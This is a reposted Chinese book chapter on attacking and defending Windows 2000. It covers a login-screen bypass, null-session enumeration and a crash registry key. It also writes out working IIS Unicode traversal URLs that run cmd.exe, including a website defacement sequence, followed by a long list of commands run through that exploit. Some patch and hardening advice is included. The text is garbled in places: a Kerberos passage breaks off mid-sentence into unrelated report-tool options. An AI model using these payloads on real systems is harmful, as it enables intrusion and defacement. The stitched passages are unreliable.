|
| 作 者 | 主题:[转帖连载五]Windows 2000系统攻防实战 |
areone![]() =八面玲珑= 职务:观察员 积分:1739 贴数:1093 |
第五章 Windows 2000系统攻防实战 信息安全对今天的网络系统来说,是一个非常重要又非常严重的问题,它涉及到从硬件到软件、从单机到网络的各个方面的安全性机制。而网络操作系统的安全性是整个网络系统安全体系中的基础环节。 在保护一个企业的信息技术的方面,防火墙、加密设备和其他的许多相关部件都有着重要的作用。但是最重要的决定仍然是选择一个适当的网络操作系统。企业不但要考察网络操作系统所能够提供的安全特性,还要考虑达到适当安全水平所需要花费的成本,以及对企业业务和竞争力的影响。 今天,企业越来越向Internet开放,企业网络和Internet网络之间的区分已经不再明显。企业需要采用基于Internet的技术,与业务伙伴、供货商和顾客进行交互作用,安全性就成为在企业网络、Internet 和Intranet中控制资源访问权限的关键因素,同时企业也需要安全管理上的灵活性和简易性。 安全性技术也在快速的发展变化之中。在今天日益复杂的环境中,为了达到较高的安全程度,有两个领域发展很快,即 :公用密钥证书和动态口令。企业越来越多地面临着通过公共网络进行远程访问、通过Internet进行企业间通信的问题。这是推动安全技术发展的动力。 5.1 Windows 2000 的安全性 5.1.1 Windows 2000的安全性设计 作为新一代的企业级网络系统,Windows 2000在安全特性方面的设计注重了三个方面: 1. 对于基于Internet的新型企业的支持 :帮助它们突破原有的企业网络和Internet的界限,满足移动办公、远程工作,和随时随地接入全球数字神经系统(Internet)进行通信和电子商务的需要。新一代的Extranet应用由此应运而生。 2. 微软在Windows 2000中提供的是一个安全性框架,并不偏重于任何一种特定的安全特性;即微软不是提供给用户一个锤子,让用户去找合适的钉子去敲。新的安全协议、加密服务提供者或者第三方的验证技术,可以方便地结合到Windows 2000的“安全服务提供者接口”(SSPI,Security Service Provi der Interface)中,供用户选用。 3. Windows 2000意识到用户对于向下兼容的需要,完全无缝地对Windows NT 4.0的网络提供支持,提供对Windows NT 4.0中采用的NTLM(NT LAN Manager)安全验证机制的支持。用户可以选择依照自己的步调迁移到Windows 2000中对替代NTLM的Kerberos安全验证机制。 5.1.2 Windows 2000中的验证服务架构 通过安全服务提供者接口(Security Service Provider Inte rface,SSPI),Windows 2000实现了应用协议和底层安全验证协议的分离。不管是NTLM、Ker beros、Secure Channel (Schannel,是web访问的常用验证方法),还是DPA(Dis tributed Password Authentification,社团/内容网站常用的验证方法),它们对于应用层来说都是一致的。应用厂商还可以通过微软提供的Platform SDK产品包中的Security API来开发自己的验证机制。 Kerberos的验证机制 Kerberos是在Internet上长期被采用的一种安全验证机制,它是基于共享密钥的方式。Kerbe ros协议定义了一系列客户机/密钥发布中心(Key Distribution Center,KDC)/服务器之间进行的获得和使用Kerberos票证的通信过程。 当已被验证的客户机试图访问一个网络服务时,Kerberos服务(即KDC)就会向客户端发放一个有效期一●report.cab:指定所建立的cab文件的位置,如果不指定,WinRep会以默认的名称和位置建立一个新的文件。 ●/UNISQL:关于使用SQL(结构话查询服务语言)服务的选项。 ●/categories: category string在报告中指定所包含的(信息)种类,使用“+all”(不包括引号)则加入全部种类;要加入什么种类可以在代表种类的字符串前使用“+”,在全部种类中去掉某一种类可以在代表种类的字符串前使用“-”,关于种类字符串的确切含义,可以参考“系统信息”。 ●/Files: (file1) (file2) (file3) :指定用作报告的文件。 报告工具本质上属于用户和技术支持部门的联络程序,它不像其他工具那样需要较强的专业知识和对系统深入的理解才敢使用,适于不同水平的使用者。由于可以自动附加计算机硬件、软件环境、重现故障出现的条件等等,对使用者的仅要求描述问题的时候能简捷准确即可,这在需要得到技术支持的情况下,比之单纯的语言文字叙述要准确完善得多.君不见多少IT报刊杂志上的“问与答”栏目中,问者用大段文字叙述,堪称口授心拟不遗余力,而答者仍嫌不清楚,设彼处此时有报告工具可用,还何至于此呢? 5.2 Windows 2000漏洞一一数 5.2.1 Telnet漏洞 Windows中的Telnet一直以来都是网络管理员们最喜爱的网络实用工具之一,但是一个新的漏洞表明,在Windows 2000中Telnet在守护其进程时,在已经被初始化的会话还未被复位的情况下很容易受到一种普通的拒绝服务攻击。而在2000年的2月份,拒绝服务攻击几乎成为了所有大型网站的恶梦。 Telnet连接后,在初始化的对话还未被复位的情况下,在一定的时间间隔之后,此时如果连接用户还没有提供登录的用户名及密码,Telnet的对话将会超时。直到用户输入一个字符之后连接才会被复位。如果恶意用户连接到Windows 2000的Telnet守护进程中,并且对该连接不进行复位的话,他就可以有效地拒绝其他的任何用户连接该Telnet服务器,主要是因为此时Telnet的客户连接数的最大值是“1”。在此期间任何其他试图连接该Telnet服务器的用户都将会收到如下错误信息: Microsoft Windows Workstation allows only 1 Telnet Client LicenseServer has closed connection 察看“列出当前用户”选项时并不会显示超时的会话,因为该会话还没有成功地通过认证。 5.2.2 本地操作漏洞 Telnet漏洞是一个计算机上网后会被黑客袭击的漏洞,但不幸的是Windows 2000中还有本地操作的漏洞。简单地说,Windows 2000的设计初衷是在启动后出现一个登录窗口,不同的用户以自己不同的用户口令和密码进行登录,同时获得不同的使用权限。这套机制在Windows 98中是没有的,在Windows 98中的登录窗口只需要选择取消就可以直接进入系统。但Windows 2000这套用户登录机制也出现了大漏洞,任何人只要能本地接触到计算机,就能访问本地计算机中的信息。那个登录验证窗口竟然形同虚设! 5.2.3 登录漏洞 在Windows 2000启动之后,按照屏幕提示按下ALT+CTRL+DEL进行登录,在登录界面将光标移至用户名输入框,按键盘上的Ctrl+Shift键进行输入法的切换,屏幕上出现输入法状态条,在出现的“全拼”输入法中将鼠标移至输入法状态条点击鼠标右键,出现的选单中选择“帮助”,然后继续选择“输入法入门”,在窗口顶部会出现几个按钮,奥妙就在“选项按钮”上。如果系统是未安装Windows 2000 ServicePack1或IE5.5的系统,用鼠标左键点击选项按钮,在出现的选单中选择“主页”,这时在已出现的帮助窗口的右侧会出现IE浏览器界面中的“此页不可显示”页面,其中有个“检测网络设置”的链接,点击它就会出现网络设置选项,这样任何人都可以对网络设置甚至控制面板做任何修改。或者之前用鼠标左键点击“选项”按钮时,在出现的选单选择“Internet选项”中,就可以对主页、连结,安全、高级选项等做任何修改。最为严重的是用鼠标右键点击先前提到的“选项”按钮会出现一个选单,选择“跳至URL”,这时出现一个对话框,其中有一个跳至该URL输入框,输入你想看到的路径,比如“c:\”,那么这时在已出现的帮助窗口的右侧会出现资源管理器c盘的界面显示,这时已经是系统管理员权限对C盘进行操作了。操作者可以对看到的数据做任何的操作,这样他就完全绕过了Windows 2000的登录验证机制。 如果系统是安装了Windows 2000 ServicePack1或IE5.5的系统,上面所用的“网络设置选项”就不能执行了,但“Internet选项”仍可执行。资源管理器界面仍可出现,通过路径输入,所有的文件夹中的文件和根目录下的文件都可看到,但已不能直接对文件夹和文件进行操作,然而仍可以用鼠标右键点击文件夹和文件选择进行删除、重命名和发送到软盘等操作,而且更为严重的是操作者可以对文件夹进行共享操作,在单个文件出现的对话框中选择属性,就可以任意添加共享权限,如任何人都能完全控制的权限,这样网络中的所有人都可以通过网络远程登录完全控制所有数据资料! 这个漏洞是非常危险的,所以首先要“除掉”它: 1.把不需要的输入法删除掉,例如郑码等。 2.但是毕竟我们不能把所有的自带输入法都删除,如果我们要使用有漏洞的输入法也可以把那个输入法的帮助文件删除掉。这些帮助文件通常在Windows 2000的安装目录下(如:C:\WINNT)的\help目录下,对应的帮助文件是: ● WINIME.CHM 输入法操作指南 ● WINSP.CHM 双拼输入法帮助 ● WINZM.CHM 郑码输入法帮助 ● WINPY.CHM 全拼输入法帮助 ● WINGB.CHM 内码输入法帮助 3.微软公司对于此问题发布了MS00-069安全公告,并在互联网上给出了简体中文Windows 2000和英文版Windows 2000的补丁。所以请尽快打上补丁。 5.2.4 NetBIOS的信息泄漏 接下来我们谈一下NetBIOS的共享入侵.这个问题从NT刚发行到现在就从来没有解决。而且它一直由来都是NT系统构架最常见的入侵手段。特别值得一提的就是那个IPC$Null session(空会话)在NT系统里都是已知的安全隐患。虽然打了SP3后可以通过修改注册表来对其进行限制。但不知道为什么Windows 2000还是原封不动地保留着这个空对话。那么就让我们来看看空会话能给入侵者带来什么样的信息: net use \\server\IPC$ “” /user:“”//此命令用来建立一个空会话 net view \\server//此命令用来查看远程服务器的共享资源 服务器名称注释 ------------------------------------------------------- \\pc1 \\pc2 命令成功完成。 net time \\server//此命令用来得到一个远程服务器的当前时间。 nbtstat -A server//此命令用来得到远程服务器的NetBIOS用户名字表 NetBIOS Remote Machine Name Table NameTypeStatus --------------------------------------------- NULL <00> UNIQUE Registered NULL <20> UNIQUE Registered INTERNET <00> GROUPRegistered XIXI <03> UNIQUE Registered INet~Services<1C> GROUPRegistered IS~NULL......<00> UNIQUE Registered INTERNET <1E> GROUPRegistered ADMINISTATOR <03> UNIQUE Registered INTERNET <1D> UNIQUE Registered ..__MSBROWSE__.<01> GROUPRegistered MAC Address = 00-54-4F-34-D8-80 看看,只不过用了几个系统自带的命令就得到了如此多的信息,那么我们有什么办法可以不让别人轻易得到这么多信息哪? 仅靠单纯的修改注册表是一劳永逸的。 HKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA Value Name: RestrictAnonymous Data Type: REG_DWORD Value: 1 但如果一些服务你并不需要开放共享的话。那为什么不禁止它呢?在Windows 2000里的方法和NT4的略有不同。它没有限制TCP/IP绑定在NetBISO上,但是我们可以在Internet协议(TCP/IP)属性的设置面板里选取高级(V)选项,然后选择TCP/IP 筛选,接着点选启用TCP/IP筛选,最后在TCP端口点选只允许,然后就可以添加你所想开放的服务的端口了。 5.2.5 奇怪的系统崩溃特性 此外Windows 2000有一个比较奇怪的特性,使用系统的终端用户可以通过按住右Ctrl,同时Press两次Scrool Lock按键,就轻易可以让整个Windows 2000系统完全的崩溃。但同时又在C:\WinNT\下dump完整的当前系统内存记录,内存记录文件名是“memory.dmp”。当然,这个奇怪的特性默认状态下是关闭的,但是我们可以通过修改注册表的方法把它激活: 1.运行regedt32.exe (Windows2000的32位注册表编辑器) 2.选择主键: ●HKEY_LOCAL_MACHINE\ ●然后找到“SYSTEM\下的CurrentControlSet\” ●选择“Services\” ●进入“i8042prt\中的Parameters” 3.新建一个双字节值 4.将键名为“CrashOnCtrlScroll” 5.然后在设置一个不为零的值。 6.退出重启 当这一切做完后,你就可以尝试让系统崩溃了,按下按键后的效果为黑屏,将会出现以下信息: *** STOP: 0x000000E2 (0x00000000,0x00000000,0x00000000,0x00000000) The end-user manually generated the crashdump. 注意:这个奇怪的特性在WindowsNT4中也存在,不知道是不是微软程序员作测试的一个小功能。不过要是有黑客或者病毒利用它,也是很危险的。 5.2.6 IIS服务泄漏文件内容 当微软IIS 4.0/5.0(远东地区版本)在处理包含有不完整的双字节编码字符的HTTP命令请求时,会导致Web目录下的文件内容被泄漏给远程攻击者。 Microsoft IIS远东地区版本包括中文(简体/繁体),日文,韩文版,由于特定的文字格式使它们都是使用的双字节编码格式。而当IIS接收到用户提交的一个HTTP请求时,如果文件名中包含非ASCII字符,IIS会检查这个字符是否为双字节编码中的前导字符(例如,日文的前导字符包含两段字符:0x81-0x9F, 0xE0-0xFC)。如果是前导字符,它会继续检查下一个字符是否为结尾字符。如果没有下一个字符,IIS会简单地丢弃这个前导字符,因为它并没有构成一个完整的双字节编码。然而,这种处理将导致IIS打开不同的文件而不是用户在请求中指定的文件。 攻击者通过提交一个特殊格式的URL,可以使IIS使用某个ISAPI动态链接库打开某种它所不能解释的类型的文件,并获得该文件的内容。依赖于系统安装的ISAPI应用程序的类型,攻击者可能获得Web根目录或者虚拟目录下的文件内容,这些文件可以是普通文本文件(.asp、.ini、.asa等等),也可以是二进制文件(.exe等等)。 5.2.7 Unicode漏洞 Unicode(统一的字符编码标准,采用双字节对字符进行编码)可以说是近一段时期以来最为流行的攻击入侵手段,仅国内近期就有江民公司等几个大的网站被这种入侵手段攻击。那我们就来谈一下这个很容易的利用Unicode漏洞配合IIS的漏洞进行入侵吧。 上面我们提到过由于某些双字节的Windows2000在处理某些特殊字符时与英文版本不同,然而利用这种IIS的漏洞,攻击者就可以通过这些特殊字符绕过IIS的目录审计远程执行任意命令。 http://server/scripts/..%c1%1c../winnt/system32/cmd.exe/c+dir+c:\ 黑客们其实只要下面两句很简单的指令绕过IIS的审计就能够对网站的页面进行改写,所谓的黑了一个网站就是这么的简单。 http://server/scripts/..%c1%1c../winnt/system32/cmd.exe/c+copy+c:\winnt\system32\cmd.exe+d:\inetpub\ scripts\123.exe http://server/scripts/123.exe/c+echo+黑掉啦+>+c:\inetpub\wwwroot\default.asp 这个问题已经在IIS 4.0 + SP6中得到解决,然而微软却让它在IIS 5.0中再度出现。 但该漏洞不会影响包括英语版在内的其他语言版本的IIS 4.0/5.0 本文中我们讲述了几个近期来最为流行的漏洞和攻击方法,但并不是说Windows 2000就只有这几个漏洞。而他们实现入侵是如此的方便,这里可有不少的网友会认为Windows2000是一个不安全的操作系统,实际上只要我们正确的配置了系统,常打补丁包,正确的给系统加设密码,我们的安全率就在85%左右。关于Windows 2000的安全配置方法后面会详细介绍。 关于unicode漏洞的Win2000命令详解 1. http://192.168.100.2/scripts/..%c1%1c../winnt/system32/arp.exe-a arp命令:显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表。该命令只有在安装了TCP/IP 协议之后才可用。 arp -a [inet_addr] [-N [if_addr]] 参数:-a 通过询问 TCP/IP 显示当前 ARP 项。如果指定了 inet_addr,则只显示指定计算机的 IP 和物理地址。 2.http://192.168.100.2/scripts/..%c1%1c../winnt/system32/cmd.exe/c+assoc Assoc:显示或修改文件名扩展关联。 assoc [.ext[=[filetype]]] 参数:无 显示当前文件关联。要每次查看一屏关联,请再加上More命令。要将输出重定向到文件,请添加>filename.ext 命令。 ●.ext:指定要查看或更改关联的文件扩展名。 ●键入 assoc .ext :查看文件扩展名的当前关联。 ●键入 assoc . ext=:删除文件扩展名关联。 filetype:指定要 Windows 2000 将其与指定的文件扩展名关联的文件类型。 3.At命令 At:列出在指定的时间和日期在计算机上运行的已计划命令或计划命令和程序,必须正在运行“计划”服务才能使用 at 命令。 at [\\computername] [[id] [/delete] /delete [/yes]] at [\\computername] time [/interactive] [/everyate[,...] /nextate[,...]] command 参数:无 如果在没有参数的情况下使用,则 at 列出已计划的命令。 ●\\computername:指定远程计算机,如果省略该参数,命令将安排在本地计算机。 ●id:指定指派给已计划命令的识别码。 ●/delete:取消已计划的命令,如果省略了 ID,计算机中已计划的命令将被全部取消。 ●/yes:当删除已计划的事件时,对系统的查询强制进行肯定的回答。 ●time:指定运行命令的时间。将时间以24小时标记(00:00 [午夜] 到 23:59)的方式表示为小时:分钟。 ●/interactive:允许作业与在作业运行时登录用户的桌面进行交互。 ●/everyate[,...]:在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行命令。将 date 指定为星期的一天或多天 (M,T,W,Th,F,S,Su),或月的一天或多天(使用 1 到 31 的数字)。用逗号分隔多个日期项。如果省略了date,将假定为该月的当前日期。 ●/nextate[,...]:在重复出现下一天(例如,下个星期四)时,运行指定命令将 date 指定为星期的一天或多天(M,T,W,Th,F,S,Su),或月的一天或多天(使用 1 到 31 的数字)。用逗号分隔多个日期项。如果省略了date,将假定为该月的当前日期。 ●command:指定要运行的 Windows 2000 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的 UNC 符号,而不是远程驱动器号。如果命令不是可执行 (.exe) 文件,必须在命令前加上 cmd /c,例如:cmd /c dir > c:\test.out 4.http://192.168.100.2/scripts/..%c1%1c../winnt/system32/attrib.exe%20h.txt Attrib命令:显示或更改文件属性。 该命令显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。 attrib [+r-r] [+a-a] [+s-s] [+h-h] [[drive:][path] filename] [/s[/d]] 参数:+r 设置只读文件属性。 -r:清除只读文件属性。 +a:设置存档文件属性。 -a:清除存档文件属性。 +s:将文件设置为系统文件。 -s:清除系统文件属性。 +h:将文件设置为隐藏文件。 -h:清除隐藏文件属性。 ●[[drive:][path] filename]:指定要处理的目录、文件或文件集的位置和名称。可以在 filename 参数中使用通配字符(?和*)显示或更改一组文件的属性。 ●/s:处理在当前目录及其全部子目录中的匹配文件。 ●/d:处理目录。 Attrib 范例: 要显示当前驱动器上文件 News86 的属性,请键入以下命令:attrib news86 要将只读属性指派给文件 Report.txt,请键入以下命令:attrib +r report.txt 要从驱动器 B 中磁盘上 \Public\Jones 目录中的文件和 \Public\Jones 任何子目录中的文件删除只读属性,请键入以下命令:attrib -r b:\public\jones\*.* /s 最后一个示例,假定需要关联包含驱动器 A 中磁盘上的默认目录中全部文件(除了扩展名为 .bak 之外的文件)的磁盘。因为可以使用 xcopy 只复制那些标记为存档属性的文件,所以需要将那些要复制的文件设置为“存档”属性。为此,请使用以下两个命令将驱动器 A 上的所有文件设置为“存档”属性,然后清除带 .bak 扩展名的文件的“存档”属性:attrib +a a:*.* attrib -a a:*.bak,下一步,使用Xcopy 命令将驱动器 A 中磁盘上的文件复制到驱动器 B 中的磁盘上。以下命令中的 /a 开关使xcopy 只复制标记为“存档”属性的文件:xcopy a:b:/a,如果需要 xcopy 在复制文件后清除每个文件的“存档”属性,请使用 /m 开关而不是 /a,如下例所述:xcopy a:b:/m Attrib 说明组文件:可以在 filename 参数中使用通配符(?和*)显示或更改一组文件的属性。如果文件设置了“系统”或“隐藏”属性,您必须在更改该文件其他属性之前清除该属性。 存档属性 “存档”属性 (+a) 用来标记那些自从以前备份以来已经更改的文件。xcopy 命令使用这些“存档”属性。有关 xcopy 的“存档”属性的信息,请查看“相关主题”。 5. http://192.168.100.2/scripts/..%c1%1c../winnt/system32/cacls.exe?c.exe cacls命令 Cacls:显示或修改文件的访问控制列表 (ACL)。 cacls filename [/t] [/e] [/c] [/g user:perm] [/r user [...]] [/p user:perm [...]] [/d user [...]] 参数:filename——显示指定文件的 ACL。 ●/t:更改当前目录和所有子目录中指定文件的ACL。 ●/e:编辑 ACL 而不是替换它。 ●/c:忽略错误,继续修改 ACL。 ●/g:user:per 授予指定用户访问权限。Perm 可以是: ●n:无 ●r:读取 ●c:更改(写入) ●f:完全控制 ●/ruser 吊销指定用户访问权限。 ●/puser:perm 替换指定用户的访问权限。Perm 可以是: ●n:无 ●r:读取 ●c:更改(写入) ●f:完全控制 ●/d user 拒绝指定的用户访问。 在一个命令中可以指定多个文件或用户。 6.http://192.168.100.2/scripts/c.exe/c+cd cd 命令 Chdir (Cd) 显示当前目录名称,或者更改当前的文件夹。 chdir [/d] [drive:][path] [..] -或- cd [/d] [drive:][path] [..] 参数:无 如果在没有参数的情况下使用,则 chdir 显示当前驱动器和文件夹的名字。只与驱动器号一起使用(例如cd C:),chdir 将显示指定驱动器上的当前目录。 ●[/d]:除了更改驱动器的当前目录外,还要更改当前的驱动器。在启用了命令扩展(Windows 2000 中默认)后,当前目录名将被转换为与磁盘上实际目录名使用相同的大小写。所以,例如,如果 C 盘上有 Temp 目录的话,“cd C:\Temp ”将当前目录设置为“ C:\Temp”。 ●[drive:][path]:指定要更改的驱动器(如果不是当前驱动器)和目录。 ●[..]:指定要更改为父文件夹。 Chdir范例: 下列任何一个命令会将当前目录更改成名为 Reports 的目录: chdir \reports cd \reports 假定您有名为 Specials 的目录,它包含了名为 Sponsors 的目录。要将当前目录更改到 \Specials\Sponsors,请键入以下命令: cd \specials\sponsors 或者,如果您的当前目录是 \Specials,可以使用下面的命令来转换到 \Specials\Sponsors 目录: cd sponsor 要将目录还原到父目录,请键入以下命令: cd .. 要显示当前目录的名称,可以使用不带参数的chdir或cd命令。例如,如果当前的目录是B盘上的\Public\Jones,则键入 chdir 将看到以下信息: B:\Public\Jones 要在 D 盘上工作并将 C 盘中 \Public\Jones 和 \Public\Lewis 目录下的所有文件复制到 D 盘的根目录下,请输入以下命令: chdir c:\public\jones copy c:*.* d:\ chdir c:\public\lewis copy c:*.* d:\ 反之,如果要将 \Public\Jones and \Public\Lewis 目录中的所有文件复制到驱动器 D 上的当前位置时,请键入以下命令: chdir c:\public\jones copy c:*.* d: chdir c:\public\lewis copy c:*.* d: Chdir说明: 在 chdir 的路径中使用空格 在启用了命令扩展后(Windows 2000 中默认),可以使用 chdir 命令更改包含空格但没用引号包括名字的目录名。例如: cd \winnt\profiles\username\programs\start menu 与下列内容相同: cd “\winnt\profiles\username\programs\start menu” 它是在禁用扩展名时必须键入的内容。 更改到根目录:根目录是驱动器的目录树状结构的顶层。要返回到根目录,请键入以下命令: cd\ 使用不同驱动器的当前目录 如果正在 C 盘的 \Public\Jones 目录下工作而又要更改到 D 盘,只通过指定驱动器号 C 就可复制 \Public\Jones 目录中的文件或将文件复制到该目录。 更改其他驱动器上的目录 在使用 chdir 时通过在命令行上指定驱动器名称,可以更改其他驱动器上的当前目录。 7.http://192.168.100.2/scripts/c.exe/c+chkdsk%20c:\(因为chkdsk命令是独占式命令,所以检查该主机的系统盘,有可能导致主机当机)。 Chkdsk 基于所用的文件系统,创建和显示磁盘的状态报告。Chkdsk 也列出并纠正磁盘上的错误。如果 chkdsk 不 能锁定驱动器,则它将在下一次重新启动计算机时检查该驱动器。 在固定磁盘上发布 chkdsk 命令需要您是该 Administrators 组的成员。 chkdsk [drive:][[path] filename] [/f] [/v] [/r] [/l[:size]] [/x] 参数:无 如果在没有参数的情况下使用,则 chkdsk 显示当前驱动器中的磁盘状态。 ●drive:指定要 chkdsk 检查的磁盘所在的驱动器。 ●[path] filename:指定需要 chkdsk 检查碎片整理的文件或文件集的位置和名称。使用通配字符(* 和 ?)可以指定多个文件。 ●/f:修复磁盘错误必须锁定磁盘。如果 chkdsk 不能锁定驱动器,则它将在下一次重新启动计算机时检查该驱动器。 ●/v:当检查磁盘时,显示所有目录中每个文件的名称。 ●/r:定位坏扇区并恢复可读取的信息。必须锁定磁盘。 ●/l[:size]:仅限于 NTFS。将日志文件的大小更改为输入的大小。如果不输入新内容,则显示当前大小。 ●/x:仅限于 NTFS。如果必要,首先强制卸载卷。然后所有对卷打开的句柄将变为无效。该开关也包含 /f 开关的功能。 ●/i:仅限于 NTFS。对索引项执行充分检查,降低运行 chkdsk 的所用时间量。 ●/c:仅限于 NTFS。跳过文件夹结构中的周期检查,减少运行 chkdsk 所需的时间量。 Chkdsk范例: 如果要检查在驱动器 D 中的磁盘并让 Windows 2000 修复碰到的任何错误,请键入以下命令: chkdsk d:/f 如果碰到错误,Chkdsk 暂停并显示消息。Chkdsk 通过显示磁盘状态报告结束。指定的驱动器上也没有文件可以打开。 在 FAT 磁盘上,要检查当前目录中所有文件的不相邻块,请键入 chkdsk *.* Chkdsk 显示状态报告,然后列出与不相邻块的文件相匹配的文件。 Chkdsk说明: Chkdsk 检查磁盘空间并用于 NTFS 和 FAT 文件系统。状态报告提供每个文件系统的特定信息。状态报告显示文件系统中找到的错误。 如果磁盘上存在错误,chkdsk 会利用消息警告您,如果使用了 /f 开关,则会纠正错误。Chkdsk 必须可以锁定驱动器以纠正错误。如果发现错误但无法锁定驱动器,则会显示错误消息。如果在活动分区不使用 /f 开关就运行 chkdsk,系统会因为没有锁定卷而报告虚假错误。 应该不定期使用 chkdsk 检查每个磁盘上的错误。 重新启动时检查锁定的驱动器 当 chkdsk 纠正找到的磁盘错误时,磁盘上的文件无法打开。如果文件打开,chkdsk 将在计算机下次重新启时检查驱动器。如果选择在下次启动计算机时检查驱动器,系统将在重启动时自动检查驱动器并更正错误。 如果驱动器分区是启动分区,在检查驱动器后,它将重新启动计算机。 检查 FAT 磁盘 Windows 2000 以下列格式为 FAT 磁盘显示 chkdsk 状态报告: Volume Serial Number is B1AF-AFBF 72214528 bytes total disk space 73728 bytes in 3 hidden files 30720 bytes in 12 directories 11493376 bytes in 386 user files 61440 bytes in bad sectors 60555264 bytes available on disk 2048 bytes in each allocation unit 35261 total allocation units on disk 29568 available allocation units on disk 检查 NTFS 磁盘 Windows 2000 以下列格式为 NTFS 磁盘显示 chkdsk 状态报告: The type of the file system is NTFS. CHKDSK is verifying files... File verification completed. CHKDSK is verifying indexes... Index verification completed. CHKDSK is verifying security descriptors... Security descriptor verification completed. 12372 kilobytes total disk space. 3 kilobytes in 1 user files. 2 kilobytes in 1 indexes. 4217 kilobytes in use by the system. 8150 kilobytes available on disk. 512 bytes in each allocation unit. 24745 total allocation units on disk. 16301 allocation units available on disk. 修复磁盘错误: 只有指定“ /f ”开关,chkdsk 命令才纠正磁盘错误。由于修复通常会更改磁盘的文件分配表,有时还会丢失数据,因此 chkdsk 先以类似的以下确认消息提示您: 10 lost allocation units found in 3 chains. Convert lost chains to files 如果按“ Y”,Windows 2000 将根目录中的所有丢失链保存在一个以“ nnnn.chk ”命名的文件中。chkdsk 结束后,可以查看这些文件是否包含了所需的数据。如果按“N”,Windows 2000 修复磁盘但不保存丢失配置单元中的内容。 如果不使用 /f 开关,chkdsk 将提出文件是否需要修复的警告信息但不会修复错误。 如果在大磁盘(例如,70 GB)或有大量文件(数百万)的磁盘上使用 chkdsk /f,chkdsk 可能要花费很长的时间(可能以天来计算)才能完成。因为 chkdsk 直到完成后才释放控制权,所以计算机在这段时间内不可用。 对打开的文件使用 chkdsk 如果指定“/f”开关,并在磁盘上发现了打开的文件,chkdsk 将显示错误。如果不指定 /f 开关并打开现有文件,chkdsk 会报告磁盘上丢失的分配单元。如果打开的文件没有记录在文件分配表时,可能会发生这种情况。 如果 chkdsk 报告大量分配单元丢失,可以考虑修复该磁盘。 物理盘错误:使用“/r”开关查找文件系统中的物理磁盘错误。有关恢复物理损坏文件的信息,请查看 recover 命令。 损坏的磁盘扇区:在磁盘第一次准备运行时,chkdsk 报告的坏扇区标记为损坏。它们不会造成危险。 退出代码: 0 没有发现错误。 1 错误已找到并修复。 2 已执行清理磁盘(例如碎片收集),或者因为没有指定 /f 而未执行清理磁盘。 3 由于未指定 /f 选项,无法检查磁盘,错误不能修复或错误未修复。 chkntfs和chkdsk命令有相同特点,所不同的是chkntfs监查的是ntfs分区 Chkntfs 显示或指定在启动计算机时计划的自动系统检查是否在 FAT、FAT32 或者 NTFS 卷上运行。 必须是本地管理组的成员才能使用 chkntfs 命令。 chkntfs [/t[:time]] [/x] [/c] volume: [...] chkntfs /d 参数 ●volume:显示有关消息,识别指定卷的文件系统,并(如果已计划将运行自动文件检查)指出卷是否已损坏,需要运行chkdsk。 ●/d:还原所有 chkntfs 默认设置,除了自动文件检查的倒计时之外。计算机启动时,默认操作是检查所有卷。 ●/t:显示或更改用于自动文件检查的倒计时时间。例如:chkntfs /t 显示自动文件检查的倒计时。chkntfs /t:30 将倒计时更改为 30 秒。 尽管可以将倒计时时间设置为零,但是这样做可以防止用户将潜在耗时的自动文件检查取消。 ●/x:排除计算机启动时检查指定卷,即使该卷标记为需要 chkdsk 才能运行。该命令不是积累的。如果输入多次,它将替代以前的项。要排除多个卷,请在一个命令中将所有卷列出例如: ●chkntfs /x e: f: 排除 e 和 f 卷。 ●chkntfs /x e:后接 chkntfs /x f:,将从已经检查的卷中只排除 f 卷。 ●/c:计划当计算机启动时对指定卷的检查时间。 此命令是积累的。如果只需要检查指定的卷,请首先重设默认值以清除任何以前的命令,然后从已检查的卷中将所有的卷排除检查,最后在所需卷上计划自动文件检查。 例如,只想在 d 卷上计划自动检查文件,可以键入如下命令: chkntfs /d (这将还原默认设置。) chkntfs /x c: d: e:(这排除对 c、d 和 e 卷的检查。) chkntfs /c d:(此操作计划对 d 卷上的文件进行自动检查。) 8.http://192.168.100.1/scripts/..%c1%1c../winnt/system32/cipher.exe/ cipher命令 Cipher 在 NTFS 卷上显示或改变文件的加密。 cipher [/e /d] [/sir] [/a][/i] [/f] [/q] [/h] [pathname [...]] 参数:无 不带参数使用,将显示当前文件夹和其包含文件的加密状态。 ●/e:加密指定的文件夹。文件夹将被标记,以后添加到此文件夹中的文件将被加密。 ●/d:将指定的文件夹解密。文件夹将被标记,以后将会不加密添加到此文件夹的文件。 ●/s: dir:对在给定目录及全部子目录中的文件执行指定操作。 ●/a:对带指定名称的文件执行所选操作。如果没有匹配的文件,该参数将被忽略。 ●/i:即使发生错误,系统仍然继续执行指定的操作。默认情况下,遇到错误时 cipher 会停止。 ●/f:对所有指定的对象进行加密或解密。默认情况下,已加密或解密的文件被跳过。 ●/q:只报告最基本的信息。 ●/h:显示带隐藏或系统属性的文件。默认情况下,这些文件是不加密或解密的。 ●pathname:指定样式、文件或文件夹。 Cipher范例: 要使用 cipher 命令加密文件夹 MonthlyReports 中的子文件夹 May,请键入下列命令:cipher /e monthlyreports\may 要加密 MonthlyReports 文件夹中的 January 到 December 子文件夹以及 month 子文件夹中的 Manufacturing 子文件夹,请键入:cipher /e /s:monthlyreports 如果只想加 May 子文件夹中的 Marketing.xls 文件,请键入:cipher /e /a monthlyreports\may\marketing.xls 要加密 May 文件夹中的 Marketing.xls 文件、Maintenance.doc 文件以及 Manufacturing 子文件夹,请键入:cipher /e /a monthlyreports\may\ma* 要确定 May 是否已加密,请键入:cipher monthlyreports\may 要确定 May 文件夹中哪些文件已加密,请键入:cipher monthlyreports\may\* Cipher注意: 加密或解密文件 要防止加密文件在修改时变为解密,建议您将文件和其存放的文件夹两者一同加密。 多个文件夹名称 可以使用多个文件夹名称和通配符。 多个参数 每个参数之间至少有一个空格分隔。 9.http://192.168.100.1/scripts/..%c1%1c../winnt/system32/cluster.exe?/version cluster命令 Cluster cluster 命令的基本语法为: cluster [[/cluster:]cluster name] /option 群集名称是可选的。如果没有指定群集,Cluster.exe 将尝试连接正在运行 Cluster.exe 的节点上运行的群集。 如果没有指定选项,默认的选项为 /help。 如果群集名称也是群集命令或其缩写,例如 cluster 或 c,请使用 /cluster:明确指定群集名称。有关所有群集命令的列表,请参阅相关主题。 